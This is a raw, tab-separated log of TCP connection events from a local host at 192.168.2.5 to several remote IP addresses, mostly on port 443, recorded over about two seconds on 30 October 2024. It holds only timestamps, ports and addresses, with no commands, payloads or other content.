Oct 30, 2024 23:11:39.072418928 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.072422981 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.072432041 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.072652102 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.072793007 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.072803020 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.072808981 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.073075056 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.094438076 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.094567060 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.094634056 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.095623970 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.095640898 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.095662117 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.095669031 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.095762968 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.096224070 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.096278906 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.096863031 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.096873045 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.096884966 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.096889973 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.098505974 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.099092007 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.099148989 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.099664927 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.099878073 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.099936008 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.099981070 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.099993944 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.099994898 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.100003004 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.101444960 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.101450920 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.101461887 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.101466894 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.104446888 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.104484081 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.104767084 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.105366945 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.105387926 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.105439901 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.106738091 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.106755972 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.106873989 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.107762098 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.107778072 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.108895063 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.108906984 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.110021114 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.110035896 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.110933065 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.110954046 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.111062050 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.111246109 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.111262083 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.113461018 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117733002 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117758036 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117777109 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117791891 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.117805004 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117824078 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117840052 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.117880106 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.117887974 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117966890 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.117969036 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.118015051 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.119518042 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.119529009 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:39.297698975 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:39.297770023 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:39.540532112 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.540572882 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.540648937 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.541524887 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.541553974 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.541656971 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.545177937 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.545195103 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.545380116 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.545393944 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.574565887 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:39.580446005 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:39.633580923 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.633610010 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.633627892 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.633687973 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.633697987 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.633718014 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.633770943 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.660010099 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.660249949 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.660269976 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.660607100 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.661608934 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.661672115 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.661752939 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.668483973 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.668673992 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.668689013 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.669138908 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.670259953 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.670341969 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.671150923 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.703325987 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.711333990 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.751636028 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.751671076 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.751712084 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.751720905 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.751852036 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.751852989 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.781960964 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.782480955 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.782496929 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.782958984 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.782963991 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.814793110 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.814865112 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.815294027 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.815309048 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.823510885 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.823586941 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.823695898 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.823748112 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.823755026 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.844865084 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.845356941 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.845379114 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.845882893 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.845889091 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.847388029 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.847695112 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.847707033 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.848131895 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.848135948 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.852740049 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.852822065 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.853142023 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.853153944 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.853297949 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.853310108 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.853689909 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.853694916 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.853873968 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.853878975 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.869566917 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.869590998 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.869628906 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.869637012 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.869699955 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.869699955 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.916275978 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.916374922 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.916459084 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.916584969 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.916594982 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.916608095 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.916611910 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.921128035 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.921166897 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.921269894 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.921427011 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.921442032 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.977437973 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.977505922 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.977566004 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.977818012 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.977832079 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.977840900 CET	49881	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.977847099 CET	443	49881	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.980658054 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.980770111 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.980829954 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.985079050 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985141993 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985168934 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985224962 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.985260010 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985301971 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.985308886 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985320091 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.985358953 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.987754107 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.987786055 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.987838030 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.987849951 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.987896919 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.987896919 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.992180109 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.992197990 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.992232084 CET	49883	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.992237091 CET	443	49883	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.992444038 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.992453098 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.992497921 CET	49884	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.992503881 CET	443	49884	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.993165016 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.993175983 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.993186951 CET	49882	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.993191004 CET	443	49882	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.994847059 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.994883060 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.995071888 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.995450974 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.995485067 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.995570898 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996274948 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996311903 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.996417046 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996639967 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996642113 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996654034 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.996656895 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.996736050 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996752977 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.996854067 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.996862888 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.996931076 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.997071981 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.997081041 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.105432987 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.105464935 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.105586052 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.105586052 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.105600119 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.105648994 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.158478022 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.158600092 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.158674955 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.158684015 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.159008980 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.159032106 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.159768105 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.159833908 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.160109997 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.160157919 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.160789967 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.160861969 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.160885096 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.160948992 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.223320007 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.223345995 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.223388910 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.223412991 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.223433018 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.223475933 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.269052982 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.269062996 CET	443	49885	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.315951109 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.315960884 CET	443	49886	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:40.341346979 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.341371059 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.341430902 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.341449976 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.341470957 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.341486931 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.343852043 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:40.343911886 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:40.378545046 CET	49885	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.387764931 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.387789965 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.387839079 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.387856960 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.387890100 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.387906075 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.419675112 CET	49886	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:40.460470915 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.460500956 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.460530043 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.460549116 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.460568905 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.460644960 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.578099966 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.578130007 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.578212976 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.578222990 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.578253031 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.578279018 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.669998884 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.670748949 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.670773029 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.671256065 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.671261072 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.695271969 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.695298910 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.695333958 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.695344925 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.695379019 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.695421934 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.725505114 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.733206987 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.734639883 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.734674931 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.735488892 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.735493898 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.735795021 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.736649036 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.736660957 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.737035990 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.737040997 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.741655111 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.741662979 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.742325068 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.742328882 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.764092922 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.765351057 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.765372992 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.765942097 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.765947104 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.781765938 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.781790972 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.781824112 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.781832933 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.781881094 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.781905890 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.804702044 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.804753065 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.804784060 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.804794073 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.804822922 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.814416885 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.814438105 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.814475060 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.814481974 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.814498901 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.814531088 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.825452089 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.825452089 CET	49890	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.825465918 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.825474024 CET	443	49890	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.849386930 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.849430084 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.849929094 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.858191013 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.858211040 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.860299110 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.860451937 CET	443	49891	13.107.246.45	192.168.2.5
